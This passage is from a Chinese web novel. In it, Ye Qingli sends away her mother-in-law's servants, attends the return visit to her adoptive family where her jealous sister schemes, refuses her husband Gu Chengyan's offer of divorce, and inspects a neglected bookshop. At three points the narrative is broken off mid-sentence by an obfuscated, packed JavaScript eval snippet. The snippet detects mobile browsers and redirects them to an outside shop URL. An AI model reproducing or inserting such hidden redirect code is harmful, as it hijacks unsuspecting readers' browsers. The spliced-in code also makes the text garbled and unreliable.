两人心中正惶恐着,又听叶青漓继续道:“我相信婆母将你们送来都是为我好,钱婆子只是个意外。如今她一走,我这嫁妆便没人管了,我身边的丫头又太年轻,交给她们我不放心。” “不知道,哪个妈妈能帮我这个小忙?” 叶青漓脸上是温婉的笑意,看在田婆子和赖婆子眼中却如索命的阎罗一般。 两人忙将头摇得如拨浪鼓般。 “不不不,大少奶奶,我身量太高,一翻起账本我脖子就酸!” “我也是我也是,我生得太矮,拢共都没认过几个字。” 叶青漓扶额,纠结起来。 “这可如何是好,我本想着两位是婆母身边的人,该分配些重要的差事,若是您二位都拒绝了,我这恐怕也没有旁的差事能给了。” 田婆子连忙表态,“不用不用,老奴觉得打扫庭院挺好的!” “这可不行!” 叶青漓打断她,表情诚恳,“今日三弟妹提醒我了,两位都是府中二十多年的老人,怎么能让您二位做打扫庭院还有管针线这种小事呢?” 管针线都不行了! 赖婆子心猛地凉了半截,“那大少奶奶的意思是……” 叶青漓不好意思地笑起来。 “我这两天整理嫁妆,正好发现手头有一个庄子,距离顾国公府也不算远,半天的时间就能来回,可我手边又没有熟悉农务的人,不知两位妈妈能否帮我引荐引荐?” 田婆子闻言还在犹豫,赖婆子却已经自告奋勇。 “老奴我从前就是农田里的一把好手,大少奶奶若是不嫌弃,就让我去吧!” 田婆子在一旁震惊不已,赖婆子什么时候做过农活? 叶青漓却嫣然一笑,“那可再好不过了!” 然后笑意森然望着田婆子,“田妈妈,你呢?” 田婆子只觉得后颈一凉,下意识点头,“老奴也愿意!” 叶青漓点点头,又皱起眉来,“可是这样一来,我岂不是辜负了婆母的一片心意?不好不好,要不……” “大少奶奶!夫人送我们来就是为大少奶奶排忧解难的,甭管什么活计,只要您需要,只管开口就是!”赖婆子大声道,“大少奶奶若是担心的话,夫人那边我们自会去说!” 一个是伺候多年却毫不留情将人赶出去的旧主,一个是眨眼就把人弄出府的笑面虎,她们哪个都得罪不起! 不如离开国公府。 处理完两个婆子,叶青漓交给采莲两锭银子。 “这次的事你和你弟弟办得很好,这是奖励你们的。” 采莲连连摆手。 “不不不,小姐救了我们,替小姐做事是我们应该的,怎么能收小姐的银子呢?” 叶青漓却不容拒绝直接将银子塞到她手里,“拿着吧!这是你们应得的,赶走钱婆子可给我省了大麻烦!” 10. 回门 大婚后第三天,回门。 与第一天的鸡飞狗跳不同,这三天来,无论是沈仕楣还是裘氏都对叶蕙珠有求必应,让她瞬间有了家的感觉。 就连沈家的两个妯娌,因着她叶家大小姐的身份,见到她也是恭恭敬敬的,一点也不像顾国公府的那些人,表面一套,背地里一套,实在令人厌烦! 第一次体会到夫妻和睦的感觉,叶蕙珠这几日如同活在蜜里一般,脸上一直洋溢着幸福的微笑,嘴角一刻也没放下过。 “娘!” “回来了?” 陆怡珊一看见叶蕙珠,便知道自己女儿过得不错,心中最后那点担忧也没了。 两人交缠的手臂始终没有松开,叶修恺瞧见也扬起嘴角,轻抚胡须。 几人坐下后,陆怡珊温声问起。 “珠儿自小被我娇惯坏了,在你家没有给你添麻烦吧?” 沈仕楣连忙拱手,一脸认真,“岳父岳母说笑了,珠儿是我见过最好的女子,有妻如此,是我沈家的荣幸,谈何麻烦!” 他说着,笑意温润看向叶蕙珠,眼中柔情几乎能溺死人。 叶蕙珠回他一个含情脉脉的眼神,忽又想起这是在自己爹娘面前,立刻羞红了脸,低下头来。 陆怡珊是过来人,与叶修恺对视一眼后,两人都嘴角含笑。 她虽不知珠儿为何在大婚几个月前忽然拼死也要换亲,可那是自己的女儿,自己总盼着她能幸福。如今亲眼所见两人相处,彻底放下心来。 没了对女儿的担忧,陆怡珊心情一下子放松起来,她抿了一口茶,忽然说道:“也不知青漓那丫头怎么样了,顾国公府是大家族,她那个婆婆又是继母,她的日子恐怕不好过。” “待她和女婿到了,我一定要好好问问,也好尽一尽我这个义母的责任。” 叶修恺眼神微闪,抚着美髯的动作一顿,脸上的笑意淡了。 沈仕楣与叶青漓没什么交集,虽说他要娶的妻子很可能曾经就是这位义女二小姐,可如今叶蕙珠才是他的妻,他自然不会在此时开口。只一直维持着得体的微笑,坐在叶蕙珠身旁。 叶蕙珠大婚后心情甚佳,来源有三: 一是摆脱了顾国公府那个糟烂之地,此生都不用再和顾承宴那种无能的男人接触! 二是自己得了一个如意郎君,婆家待她也好,成为一品诰命夫人的日子指日可待! 三嘛,则是能亲眼看见自己那个不顺眼的义妹,在顾国公府苦苦挣扎,重蹈自己上一世的覆辙! 陆怡珊此言,恰好戳中了她的高兴点。 “娘有这份心意是好的,只是恐怕要白费了!” “珠儿这话何意?” 叶蕙珠捻着手帕,轻掩唇角,“娘还不知道吗?那顾国公府的大公子是个不行的,听说大婚当日两人都没圆房!而且顾承宴一心修道,今日回门是不会来的!” 她说得欢喜,叶修恺和沈仕楣却都不自觉别过脸轻咳一声。 陆怡珊却像是没事人一样两眼放光,“当真?顾国公府的事你怎么知道得这么清楚?” 叶蕙珠眼神一闪,忙笑道:“我与青漓妹妹同日出嫁,自然要多关注些。” 大婚当日顾承宴出现在叶家让自己始料不及,换了亲,些许变故也是自然。这桩婚事,是自己不要了丢给叶青漓的,她当然会好好关注,看看她这个便宜义妹会过得多痛苦? 果不其然,即便换了新娘,顾承宴一样还是不行! 叶蕙珠垂眸想了想顾国公府的人和事,嘴角弯起,以叶青漓那粗鄙无知,懦弱无能的样子,想必过得很艰难吧?若有时间,自己还是提点她一下,谁让她好歹占个自己妹妹的身份呢? 唉,自己就是太善良了! 叶蕙珠侧身端起桌上的茶盏,低头喝了一口。 “老爷,夫人,二小姐和姑爷回来了!” “咳咳咳!” “珠儿怎么了?” “这茶太烫了!是谁给我沏的茶,想要烫死我啊?” “是奴婢,大小姐从前喜欢喝九分烫的,奴婢这才……” “这点小事都干不好,你还待在这做什么?直接打发了卖出府去!” 陆怡珊偏头看了眼身边的妈妈,婢女很快被带下去。 叶修恺皱眉看着叶蕙珠,“要不要紧?需不需要叫大夫?” 沈仕楣原在喝茶,见状忙伸手挪走叶蕙珠那杯,捧着她的脸想要检查伤处,却被叶蕙珠扭脸避开。 “你做什么?我脸上的妆都被你弄花了!” 沈仕楣一怔,抬起的双手缓缓放下,生硬道:“我只是想帮你看看。” 意识到自己语气不好,叶蕙珠有心道歉,可叶青漓和顾承宴马上就要来了,她不想让他们看见自己矮丈夫一头的样子,一时心中纠结,脸上显出几分不耐烦。 “我没事,你坐着吧!” “嗯。” 两人说话的功夫,叶青漓已经带着顾承宴走进来。 男子一身红衣,长身玉立,气质儒雅,内藏风骨,举手投足之间,尽显贵族风范,眉目清冷,眼神幽若寒霜,仿若天上仙人落入凡间。他一出现,沈仕楣原本还算俊朗的五官瞬间变得平庸起来。 他怎么会来? 他怎么可以来?! 他凭什么来!!! 叶蕙珠死死按住桌角,不断告诉自己这是大婚之日变故的延续,哪怕他今日和叶青漓一起回门,日后叶青漓也要过上和自己一样的悲惨生活的! 甚至可能比自己更惨! 毕竟自己是叶府嫡女,爹爹的亲生女儿! 压下心底不甘后,她才将目光投向叶青漓,五指又深深掐入掌心。 叶青漓不是一向粗鄙无能吗?这个站在顾承宴身旁,与他仿若一对璧人的女子是谁? “女儿见过父亲,母亲。” “小婿见过岳父,岳母。” 大婚那日事情太多,陆怡珊的注意力全在叶蕙珠身上,这还是第一次仔细打量顾承宴。 越看,越忍不住叹息! 这般风采夺目的男子,若是能做自己的女婿该多好。 可惜,自己女儿太犟了! “好好好,回来就好。我方才还想着青漓在顾府过得怎么样,如今看见姑爷的样子,便知不会有问题!” 陆怡珊一番客套,两人顺势落座。 叶青漓大致扫了一眼,“怎么不见嘉伦弟弟?” 陆怡珊脸上浮现一抹得意的笑,“春闱将近,他在还在书院读书呢!一会我们开宴不必等他。” 叶青漓点点头,随即命采莲将那尊金佛拿出来。 “既然嘉伦弟弟不在,那就母亲代为收下吧。这是我嫁妆里的一尊文殊菩萨像,嘉伦弟弟春闱将近,想着赠予他,好图个吉利!想来嘉伦弟弟准备充足,定能一举中第!” 采莲手中的文殊菩萨像是纯金打造,面庞丰润,宽额丰颐,慈眉善目,衣褶流畅,翻飞的裙角真实无比,陆怡珊见了喜不自胜。 “这菩萨像真是惟妙惟肖,巧夺天工!你真的要把他送给嘉伦吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578732|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 陆怡珊的目光忍不住落在顾承宴身上,以他的年纪,明年也可参加春闱。 叶青漓偏头看了顾承宴一眼,不好意思地笑道:“母亲忘了,夫君信道不信佛,这菩萨像给了他是暴殄天物!” 顾承宴顺着她的话点了点头。 陆怡珊这才放心收下。 叶修恺闻言,也对叶青漓露出一个满意的神情。 “你有心了!” 自叶青漓和顾承宴一进门,陆怡珊和叶修恺的目光就全都被吸引走,叶蕙珠被冷了半天,心里不得劲。脑中一股势要找叶青漓麻烦不罢休的冲动,脱口而出道: “我家相公也要参加此次春闱,妹妹怎么不替你姐夫也备着一尊佛像?难道是看不起沈家吗?” 顾国公府是大家族,送聘那天以及大婚之日沈仕楣都是见识过的,他不愿在众人面前露了怯,一直安静喝茶,装作宠辱不惊。 怎料叶蕙珠这一句话,瞬间让他下不来台! “珠儿!” “怎么?我有说错什么吗?妹妹既然想回家卖好,怎么不记得你还有个姐夫?” 沈仕楣脸色铁青,可碍于这是在叶家,又是在顾承宴两人面前,只能将嘴边的话咽了回去。 叶青漓却没有他这般多顾忌,挑眉微讶。 “这不该是姐姐给姐夫准备的吗?姐夫难道没有吗?” 叶蕙珠一噎。 侧目看向沈仕楣时才发现他早已难看到极点的脸色,她心底一沉。她不过是看不惯叶青漓这么春风得意的样子,这才刺了她一句,可好像受伤害最大的不是叶青漓,而是她的相公。 叶蕙珠连忙改口,“有!当然有!我不过是说笑的!” 叶蕙珠几句话让原本还算亲切热情的氛围冷了下来,陆怡珊连忙为她打掩护,请众人落座入席。 大约是方才谈话时对比下来输得太明显,叶蕙珠和沈仕楣两人像是憋着一股劲一般,在几人面前上演夫妻恩爱的戏码。 “相公,这道小炒肉我记得你最爱吃了,春闱将至,你温书辛苦,来多吃一点!” “多谢娘子。这个糯米糕是娘子爱吃的,娘子也多吃一些。” “相公你对我真好!” “娘子对我也好!” 两人互相夹菜,四目相对,无数粉红泡泡飘在空中。若不是知道这是在饭桌上,叶青漓几乎要以为自己是在看戏园子里私奔之前深情对望的男女主了! 她翻了个白眼,低头豪爽干了一大口白米饭。 一只骨节分明的手忽然出现在她视野中,握着竹筷的手将一块清香扑鼻的桂花糕放进叶青漓碗里,又自然离去。 叶青漓木然扭头,看着身旁的男人眨了眨眼睛。 怎么回事?太阳打西边出来了? 顾承宴被她盯得有些不自在,眼神躲闪,“怎么不吃?” 她是叶家义女,本就不如叶蕙珠得宠,嫁人后又遇上他这样一个人,看着对面那对恩爱的夫妻想必心中苦涩,才会埋头只吃米饭。纵使自己给不了她真实的幸福,在这种时候给她夹一筷子菜却不难做到。 只是她怎么一直盯着自己?难道那日他听错了? 叶青漓咽下口中米饭,忽然开口,“我爱吃桂花糕,可是饭桌上我更爱大米饭配红烧肉!” 顾承宴暗自松了一口气,又夹了一块色泽诱人,肥而不腻的红烧肉放在叶青漓碗里。 “啪嗒——!” 坐在叶青漓对面的叶蕙珠手一松,夹着糯米糕的筷子忽然掉在地上。 11. 和离 异响瞬间吸引了所有人的目光。 叶青漓投去目光时,叶蕙珠慌了一瞬,连忙扭头对着沈仕楣笑道:“相公,真是不好意思,我手滑了。” 沈仕楣对这点小错根本不在乎,微笑看着她,“没关系,我再给你夹一块。” 腻腻歪歪的! 叶青漓很快收回目光。 有婢女立刻给叶蕙珠送上干净的筷子,她冲着沈仕楣微笑一记,咬了一口糯米糕,眉心紧紧簇了起来。 一向甜蜜软糯的糯米糕吃起来腻得她牙酸! 叶蕙珠紧紧握住筷子,思索着为何这一世顾承宴的差别会这么大?明明都是回门,为什么他会陪着叶青漓来叶家,却留自己一个人被人嘲笑?他明明最烦女人麻烦他,怎么可能主动给叶青漓夹菜?还是那么油腻的红烧肉? 他应该从不正眼看叶青漓的!应该把她丢在山下,自己一个人回到白云观,此后余生都不搭理她! 注意到沈仕楣的目光一直在自己身上,叶蕙珠忙舒展眉心,又冲他笑了一记,“嗯,好甜!” 可恶!凭什么! 这场甜得令人作呕的饭吃完,叶青漓和顾承宴告辞离开,叶蕙珠和沈仕楣却留了下来。 沈仕楣被叶父叫去书房,为他讲解一些科考的经验。 叶蕙珠则和陆怡珊回了房间,母女两人说起悄悄话。 “你同母亲说真心话,沈家对你如何?” 没了沈仕楣在,叶蕙珠脸上十分的甜蜜笑意,瞬间减弱至五分。她搅着手帕,语气纠结,“挺好的,可有时候又不太好。” 陆怡珊一听便觉得有问题,忙坐到她身旁细问,“好在何处?不好在何处?” “相公待我很好,婆母待我也好,大婚当天我晕倒在花轿里,耽误了吉时,婆母也未曾责备我,还有……” “晕倒?!” 陆怡珊惊地站起来,上上下下将叶蕙珠端详一遍,确认她现在状态良好才道:“好端端的,怎么会晕倒?是他们沈家苛待你了?” 叶蕙珠有些不自然低下头,“没有,是我为了穿嫁衣好看,脱了御寒的夹袄,又一日未曾进食……” 陆怡珊闻言,心情复杂得不知道该说什么,这确实像是她女儿能做出来的事。 她叹了一口气,“以后莫要瞎折腾,还有呢?” “还有大婚当日我打伤了婆母,沈家也没有一人责备我。” 陆怡珊这下更加震惊,满脸错愕,“打伤婆母?发生了什么?” 叶蕙珠面露愁容,脸上最后五分甜蜜也没了。 “大婚当日我发现有人站在窗外……后来婆母就受伤了。”回忆起那晚的事情,叶蕙珠心里还是很不舒服,她用力撕扯着手帕,眼中满是苦恼,“我几次询问婆母她在窗外做什么,都被她打岔避过去了。” “娘,你说她到底是在做什么?” 叶蕙珠说得不明不白,甚至连裘氏什么时候站在窗外的都不知道。可陆怡珊已为人妇多年,虽然她头顶没有婆母,但比叶蕙珠这个新嫁娘多了不知多少经验。 她听罢脸色瞬间难看起来,重重一拍桌子,“这沈家竟然是这样的门户!” “娘,你怎么了?怎么这么生气?我虽然打伤了婆母,可是沈家人都是明事理的,并没有因此怨怪我,女儿没事的。” 看着叶蕙珠此时还在记着沈家的好,陆怡珊更是重重啐了一口。 “呸!” “什么明事理,他们那是心虚!” 叶蕙珠:“?” “你可知这世上有一种人,极是看重子嗣,甚至会在儿子大婚之日偷听洞房来确认儿媳能否怀孕?” 叶蕙珠脑子咯噔一下,脸上霎时间没了血色。 “娘的意思是……?” 陆怡珊颇为不情愿地点头。 “呕——!” “珠儿!珠儿你怎么了?” 叶蕙珠觉得恶心,从胃里翻涌上来的恶心,恶心到她想将席间用的东西全都吐出来,可是最后,她只是干呕了几下,除了几口酸水,什么都没吐出来。 她喝下陆怡珊递来的温水,再抬眼时,眼眶已经变红,“娘,她怎么能这么做?” 陆怡珊温柔替她拍着背,再次长叹一口气。 “珠儿,世上有些人就是这样的,甚至比沈家行径还要恶心千百倍的都大有人在。你还算幸运,及时发现了裘氏的行踪,虽然不小心伤了她,可也让她心中有了忌惮,以后你让身边的下人多注意些,莫要让她再靠近你的房间。” 陆怡珊以为叶蕙珠是在洞房之前发现的,只是叹息了几句,便劝着叶蕙珠息事宁人,装作不知道裘氏的目的。 可她不知道的是,叶蕙珠因为害羞,方才并未说清自己是洞房之后发现的裘氏,实则裘氏已经将该听的不该听的全都听进去了! 她心中恶心,可也不愿将这种私密至极的事情再仔细说给亲娘听,只能忍着委屈,哭红了眼眶。 “娘!” “哎!” 叶蕙珠扑在陆怡珊怀里,尽情发泄自己的不甘心,不只是因为裘氏做出的这件事,也是因为今日回门,顾承宴的所作所为给她带来太大的刺激。 她本以为换嫁之后,过得更好的那个人会是自己。 谁料顾承宴忽然变了个人一般,对叶青漓那么体贴,沈家却是表面光鲜,婆母实则是这样一个人! 明明她已经换了个人嫁,为什么还要受这种委屈? 叶蕙珠哭得很大声,陆怡珊听着听着,忽然发觉不对,把她的脸从怀中托起后,才看清她眼底的悲痛。 她心中大震! “珠儿!你这是怎么了?怎么哭得这样伤心?可是沈家还在别的事情上欺负了你?” 叶蕙珠不说话,一直哭。 陆怡珊更加焦急,忽而厉了神色,“你告诉娘,沈家还对你做了什么?你是低嫁去的!嫁妆比他们家聘礼多出几百倍!就连沈仕楣科举都要靠你爹指路!你若是不满意这桩婚事,娘现在就能让你和离!” “不!我不和离!” 叶蕙珠忽然从陆怡珊怀中挣脱出来,擦干眼泪,又重复一遍,“我不和离!” 陆怡珊更加困惑,她打心底里就不认为沈家是门好人家。 “这沈家到底有什么好?他沈仕楣也不过有点才华,你父亲说了,根本够不上状元!裘氏又是这样的乡下人家,脑子有问题,做事也叫人恶心。你方才哭得那般伤心,沈家还有什么值得你留恋的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13578733|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 叶蕙珠却依旧坚定摇头,“我不和离!” 顾承宴对叶青漓再好,终究不能与她生孩子,顾国公府的爵位和家产也落不到叶青漓的孩子身上。裘氏虽做事恶心,可沈仕楣却是将来能给自己一品诰命的人! 只要她忍一忍,这一品诰命就是她的! “娘,我想好了,我不和离。”叶蕙珠抹了把脸,正色道:“沈家虽不怎么样,可相公是个值得信赖的,他对我也好,我相信他,一定有出人头地的一天!” 叶蕙珠脸上的神情就和当初为了换嫁绝食时一样,陆怡珊有一瞬间甚至觉得自己女儿是中了什么邪! 两人僵持许久,到最后,她还是败下阵来,同意了叶蕙珠的选择,不过又额外叮嘱叶蕙珠许多与婆母的相处之道。 * 从叶府离开后,叶青漓和顾承宴一起上了马车。 两人今日是一同从顾府出发的,回去的时候却不是同一个终点。 三日时间已过,顾承宴也陪着叶青漓回了门,他该回去白云观向师父回禀师弟之事的调查结果了。 顾承宴率先下了马车,叶青漓随后走下来。 她看向城门的方向,目露担忧,忍不住问道:“要不先让马车送夫君回山上吧?白云观虽距离城内不远,可是夫君走路回去的话,恐怕也得天黑才能到了。我跟他们稍等片刻便是。” 顾承宴摇头,“不必,这段路我走得多,已经很熟了。” 叶青漓只是客气客气,顾承宴这样说了,她也不再多说。站在原地等着顾承宴先走,自己留下看着他的背影逐渐消失,最后独自叹息回到车上。 成功打造一个不被夫君所喜,却还痴情不已的主母形象,完美! 叶青漓等了半晌,面前的人连脚都没抬。 她怒了,怎么还不走? 她一会还有事呢! “夫君可是还有别的嘱托?”叶青漓笑问,又自顾自说道:“夫君放心,虽然夫君不常在府内,可是夫妇本为一体。青漓会承担起夫君的那份职责,侍奉公婆,友爱家人……” 顾承宴忽然打断她的话,“我有事要跟你说。” 他神情严肃,似乎要说的是什么事关叶青漓生死的大事,叶青漓瞬间住了嘴,安静下来。 “夫君请讲。” 顾承宴张口,忽然瞥见马车边的车夫,随行的几个下人以及一直站在叶青漓身侧的采莲,转身朝着一处走去。 “跟我来。” 采莲不知道顾承宴是什么意思,下意识攥紧了叶青漓的手。 姑爷和二小姐根本不熟,把人叫到一旁,不会欺负二小姐吧? 叶青漓拍了拍采莲的手,冲她笑了笑,才提步跟着顾承宴离去。 两人姿容绝色,就这样一前一后走着,路过的人被两人容颜吸引,再看两人的穿着,都猜到这是一对新婚夫妻,向他们投来祝福的目光。叶青漓浅笑着点头向他们回礼,顾承宴嘴角却抿成了一条直线! 二人一路行至一处巷角,顾承宴终于停下来,外面是人声鼎沸的闹市,里面却是个死胡同,只他们二人。 叶青漓脸上是一惯温婉的微笑,“夫君要跟我说什么?” “我们和离吧!” 12. 书铺 叶青漓笑容怔住,迟钝了两秒才眨了眨眼,咬着唇一脸难以置信,“夫君说什么?” 寒风呼啸而过,顺着巷角拐个弯打在叶青漓身上,她穿着厚厚的大氅,身形依旧十分单薄,似乎一阵风就能将她吹倒。而顾承宴的话,对她来说,就是这阵致命的寒风! 叶青漓眼眶微红。 “是我哪里做得不好,惹夫君嫌弃了吗?” “没有!你做得很好!”顾承宴忙开口道:“从始至终,你都没有错!错的是我!” 顾承宴低着头,不染红尘的脸蒙上一层晦暗。 “我一心向道,本不该娶妻,可却没有及时阻止家人去叶府求娶。大婚那日,我本该说明原委,却又做了糊涂选择将你迎进门来。如今婚事已成,我却不能给你想要的,你我注定做不了一对寻常夫妻,无法让你和你那位嫡姐一样幸福!” “是我负了你!” 顾承宴忽而抬眸,如墨般的眸子里全是叶青漓的身影。 “你我和离后,你只需对外宣布都是我的不是,你和离再嫁,嫁一户寻常人家,顾国公府也会做你的后盾,如何?” “不好!” 叶青漓罕见在顾承宴面前冷了脸,总是带着笑意的脸上凝若寒冰! 她是脑子进水了还是吃饭吃撑了,放着一个肤白貌美不能人道,却能给她足够自由和家财万贯的‘夫君’不要,跑去嫁给别人当老妈子! 她是个商人,此生最大的心愿是赚钱!赚很多很多的钱!她要把她上辈子,上上辈子没赚到钱全都赚回来!再狠狠花掉! 商人最重要的是什么? 是名声! 一个不被丈夫所喜,却依旧守在家中等待他回心转意的女子,和一个大婚没两天就和离,指责男方一身缺点的女子,哪个更能获得同情,帮她赚更多的钱? 用脚指头想都知道该选什么! 叶青漓越想越气,忍不住瞪了顾承宴一眼。 温顺的面皮撕开,露出内里不羁的一面,顾承宴瞧着觉得有些陌生,却又十分眼熟。 这几天他在府中见多了她微笑,忘了那日在白云观,她带人殴打师弟时大胆的模样! “你,不愿意?” “我不愿意!” “为什么?” 叶青漓动了一步,与顾承宴擦肩而过走到巷角内侧。 二人互换位置,被冷风吹得衣角翻飞的人瞬间变成顾承宴。 “夫君与我没有感情,未曾与我圆房,日后两人分离,不似寻常夫妻。觉得对我不起,想要和离减轻心中愧疚,这我明白。” 有些话顾承宴自己说是坦诚相见,从叶青漓的嘴里说出,却好似在责备。 顾承宴有心解释,张了张嘴并未出声。 “那夫君可曾为我想过?我本一届孤女,得义父怜悯认为义女,捡了嫡姐不要的婚事嫁来顾家,府中老爷夫人对我都是瞧不上的。”叶青漓说着,偏过脸去哽咽。 “夫君风华绝代,年岁正盛,又出身显贵,和离之后即使我说是夫君的错,京中有几人会相信?” “若是和离,夫君觉得我还能嫁谁?叶家会不会觉得我这个和离的女儿丢脸,从此与我断了关系?” “到那时我在京城无处可去,无人可依,夫君心中的愧疚就能消了吗?” “我……” 顾承宴一噎,他的确想得太简单了! 世人对女子多苛刻,若真按照自己的说法,叶青漓的一辈子才是真的毁了! 叶青漓不等他想明白,趁着他愧疚继续道:“我知夫君不喜欢我,我也不会强求,会离夫君远远的,只做一个合格的顾家大少奶奶。” “还希望夫君能不再赶我离开,收留我在顾家待两年。”叶青漓说着,忍不住抬手挡住泪眼,一时泣不成声。 “若是夫君日后改变了心意,或是有了真心喜欢的女子,我也不是那等贪恋富贵的女子,会自己走得干干净净!” 叶青漓在顾承宴面前一向是爱笑的,坚强的,即使大婚之时被人刁难,她也能笑着应对,迅速解决。 这样一个明媚如春风的女子,却在自己面前哭得这样伤心! 低软柔弱的女声,顺着寒风飘进顾承宴的耳中,如同一缕缕又细又轻的蛛丝,将他的心包裹,紧紧的,闷闷的。 再回神时,顾承宴听见自己已经脱口而出四个字。 “我答应你。” 叶青漓猛然抬头,黑白分明的双眸中除了欣喜并无半分悲伤。 “真的吗?多谢夫君!时间不早,快些启程吧,再晚些夫君要走夜路了!” 叶青漓一边说着,一边将顾承宴推着走,顾承宴还没来得及细看她的表情,就被送到了城门口。 叶青漓挥舞着手帕,“夫君,再见,有时间常回来看看!” 顾承宴心中微叹,些许愧疚未曾消散,再次加深,默默打定主意日后尽量对她好些,这才转身离去。 叶青漓在原地驻足良久,呼啸北风翻飞她的衣角,凌乱她的发丝,却吹不走她单薄坚韧的身影和深情凝望的目光! 她的眼角终于凝出一滴泪,又很快被寒风舔舐干净。 随行在马车旁的顾府下人忍不住感慨:大公子是个无心情爱的,偏运气好娶了大少奶奶这样痴情不改的娘子,真是叫人羡慕! “走吧。” 坐回马车上后,采莲立刻止不住心底的担忧。 “小姐,大公子方才都与你说什么了?奴婢方才瞧见你都哭了!” 叶青漓揉了揉睁得太久有些酸涩的眼眶,“我这是被风吹的。” “顾家大公子是个善良又心软的人,你放心,我很好。” 见她神情未有异常,采莲这才放下心来。 马车启程,叶青漓却并不打算回顾府,她手里嫁妆只有叶修恺给的那五万两银票是正得用的,其他的都还需要规整,尤其是陆怡珊给自己准备的东西! 叶青漓拿出一张自己早就准备好的名单,吩咐车夫掉头。 巡查第一站,是一间书铺。 南朝重文轻武,一条街上看不见一个武器行,却至少有三家书铺,达官贵族,平民百姓皆可是书铺的顾客,只要用心经营,哪怕赚不来大钱,买脂粉首饰的银子还是能赚到的。 叶青漓手里这间,却不一样! 车夫按照她的要求将马车赶至一处街巷,书铺就在街巷的十字相交处。 往北走一段路是一间书院,几个学子正捧着书朝书院赶路;往南走是一条繁华街道,来往行人络绎不绝;书铺东边是一条宽广的马路,尽头是民宅,只不过里面住的人非富即贵;西边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583071|143057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的马路则直连京城最繁华的街区。 这样好的位置,却门可罗雀。 叶青漓皱眉,提裙走进书铺。 “掌柜何在?” 屋内静了半晌,没有人应答。 叶青漓提高声音,“掌柜的在不在?” 还是没有人出来。 叶青漓与采莲对视一眼,采莲提步走到柜门前,重重拍了一记,“有人吗?!” “谁呀?打烊了,明儿再来吧!” 男子不耐烦的声音从书铺后面传来。 叶青漓绕过柜门,走到书铺后面,这才看见一个山羊胡子的中年男子躺在书架旁的躺椅上,身边还煨着一炉热茶。 躺椅摇摇晃晃,茶香馥郁芬芳,那男子在躺椅上悠然自得,嗅着茶香摇头晃脑,若非叶青漓还记得这是一间书铺,瞧这掌柜如此悠闲惬意的样子,恐怕要以为此地是什么世外桃源! 她敛了笑意,眸色微沉。 “掌柜的,现在可是大白天,怎么就打烊了?” 胡六没想到人不仅没走,声音反而离自己更近了,不耐烦地睁开眼。 “啧,我说你这小娘子……有点眼熟啊!我们是不是在哪见过?” “放肆!” 采莲大喝一声,“睁开你的狗眼看看清楚,这是顾国公府大少奶奶,这间书铺的新东家!” “新东家?” 胡六眼神终于收敛,歪着脑袋一脸不解。 “这书铺的东家不是叶侍郎叶大人吗?什么时候变成你一个黄毛丫头了?” “你……!” “采莲!” 叶青漓止住了采莲想要教训人的动作,面容沉静,“叶侍郎几个月前认我为义女,将这间书铺作为嫁妆送给了我,如今我才是这间书铺的东家。” “什么?” 胡六大惊失色! 脑海中瞬间想起不久前叶府门前热闹的景象,当时他也是人群中捡喜银的一员,自然没有忘记顾国公府是何等的出手阔绰! 现在告诉他,那日顾国公府花轿里的新娘子现在成了他的东家? 他猛然从摇椅上站起,一时脚下踉跄,摔倒在叶青漓鞋前,视野中出现一双红色的绣花鞋,胡六吐出一嘴的灰,下意识道:“东家这鞋不错!” 叶青漓神情微冷,抬步从他眼前跨过,将书架上的书大致扫视一遍,“这间书铺一直是你在打理吗?” 意识到自己姿态不雅,胡六忙站起身,拍了拍自己身上的灰尘,顺便趁叶青漓不注意将摇椅旁的瓜子皮踢到一边。 “是,我已经管了快二十年了。” 叶青漓沉吟,“二十年……” 这间书铺里每个书架上落了一层厚厚的灰,的确是少于十年不可成。 叶青漓继续走着,胡六弓着腰跟在他身后,采莲瞪了他一眼,挤在胡六前面挡住他靠近叶青漓。 “你平日里都做些什么?” “这个嘛……” 胡六迟疑片刻,“就……卖书。” 叶青漓看向书架上那堆已经被老鼠啃食得只剩下书脊的残片,点了点头。 “书铺生意好吗?” “好,好!怎么不好?有侍郎大人在背后撑腰,书铺的生意很是火热!” “那你方才为何说打烊了?” 13. 浆麻铺 胡六眼珠转了转,“我今日身体不适,所以想早点休息。” “身体不适?” 叶青漓回头仔细看了一眼,胡六生得贼眉鼠眼,加上那两撇山羊胡,像极了一只老鼠。声如喇叭,腰宽体胖,还是一只‘硕鼠’! “什么病?” “啊?” “你不是说你身体不舒服吗?我们家小姐问你得的什么病?” 胡六忙揉揉自己撑得抱不住的腰,又捏了捏肩,“就是累到了,不是什么大事。” “书铺里就你一人吗?” “本来有两个伙计,后来他们手脚不麻利我就给辞退了。” 叶青漓继续往里走着,陆续又问了胡六几个问题,直问得他一头冷汗。 